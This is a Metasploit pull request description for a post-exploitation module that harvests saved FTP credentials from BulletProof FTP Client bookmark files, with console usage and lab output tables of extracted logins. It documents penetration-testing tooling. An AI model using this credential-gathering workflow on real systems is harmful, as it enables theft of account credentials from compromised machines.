rapid7/metasploit-framework — pull request #1306 by jvazquez-r7 (2013-01-14 12:57:41+00:00)
Title: Added post module for BulletProof FTP Client

This module extracts information from BulletProof FTP Bookmarks files and store retrieved credentials in the database.

The module has been tested on BulletProof FTP Client 2.6, which can be downloaded from http://www.oldapps.com/download_old_version_BulletProof_ftp.php, and the last version available, BulletProof FTP Client 2010, which can be downloaded from the official home page (http://www.digitalcandle.com/).

In order to make use of the Bookmarks function, just uste the "Bookmarks" button available on the toolbar.

* The module has been tested on Windows 7:

msf exploit(handler) > use post/windows/gather/credentials/bulletproof_ftp
msf post(bulletproof_ftp) > set session 4
session => 4
msf post(bulletproof_ftp) > set verbose true
everbose => true
xmsf post(bulletproof_ftp) > exploit

[*] Checking if BulletProof FTP Client is installed...
[*] Searching BulletProof FTP Client Data directories...
[*] Searching BulletProof FTP Client installation directory...
[*] BulletProof Installation directory found at C:\Program Files\BulletProof FTP Client v2.6
[*] Searching for BulletProof FTP Client Bookmarks files...
[+] BulletProof FTP Bookmark file found at C:\Program Files\BulletProof FTP Client v2.6\sites\Main\bpftp.dat
[+] BulletProof FTP Bookmark file found at C:\Program Files\BulletProof FTP Client v2.6\sites\Main\test\bpftp.dat
[*] Searching for connections data on BulletProof FTP Client Bookmarks files...

BulletProof FTP Client Bookmarks
================================

Site Name Site Address Port Login Password Remote Dir Local Dir
--------- ------------ ---- ----- -------- ---------- ---------
site_name 192.168.1.4 21 login password remote_dir initial_dir
test2 192.168.3.2 222 login password remote_dir initial_dir
msf post(bulletproof_ftp) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

* And windows XP SP3 / (database test)

msf exploit(handler) > use post/windows/gather/credentials/bulletproof_ftp
msf post(bulletproof_ftp) > set session 1
session => 1
msf post(bulletproof_ftp) > run

[*] Checking if BulletProof FTP Client is installed...
[*] Searching BulletProof FTP Client Data directories...
[*] Searching BulletProof FTP Client installation directory...
[*] Searching for BulletProof FTP Client Bookmarks files...
[*] Searching for connections data on BulletProof FTP Client Bookmarks files...

BulletProof FTP Client Bookmarks
================================

Site Name Site Address Port Login Password Remote Dir Local Dir
--------- ------------ ---- ----- -------- ---------- ---------
site_name 192.168.1.1 21 login password bap bap
test 192.168.1.128 21 juan juan
test2 192.168.1.128 21 juan2 juan2
test3 1.1.1.1 25 juan3 juan3 yap yup
test3 192.168.4.4 21 msf msf3

[*] Post module execution completed
msf post(bulletproof_ftp) > creds

Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
1.1.1.1 25 juan3 juan3 password true
192.168.1.1 21 login password password true
192.168.1.128 21 juan juan password true
192.168.1.128 21 juan2 juan2 password true
192.168.4.4 21 msf msf3 password true

[*] Found 5 credentials.
msf post(bulletproof_ftp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

It's my first post module, so feedback is really welcome!! :-)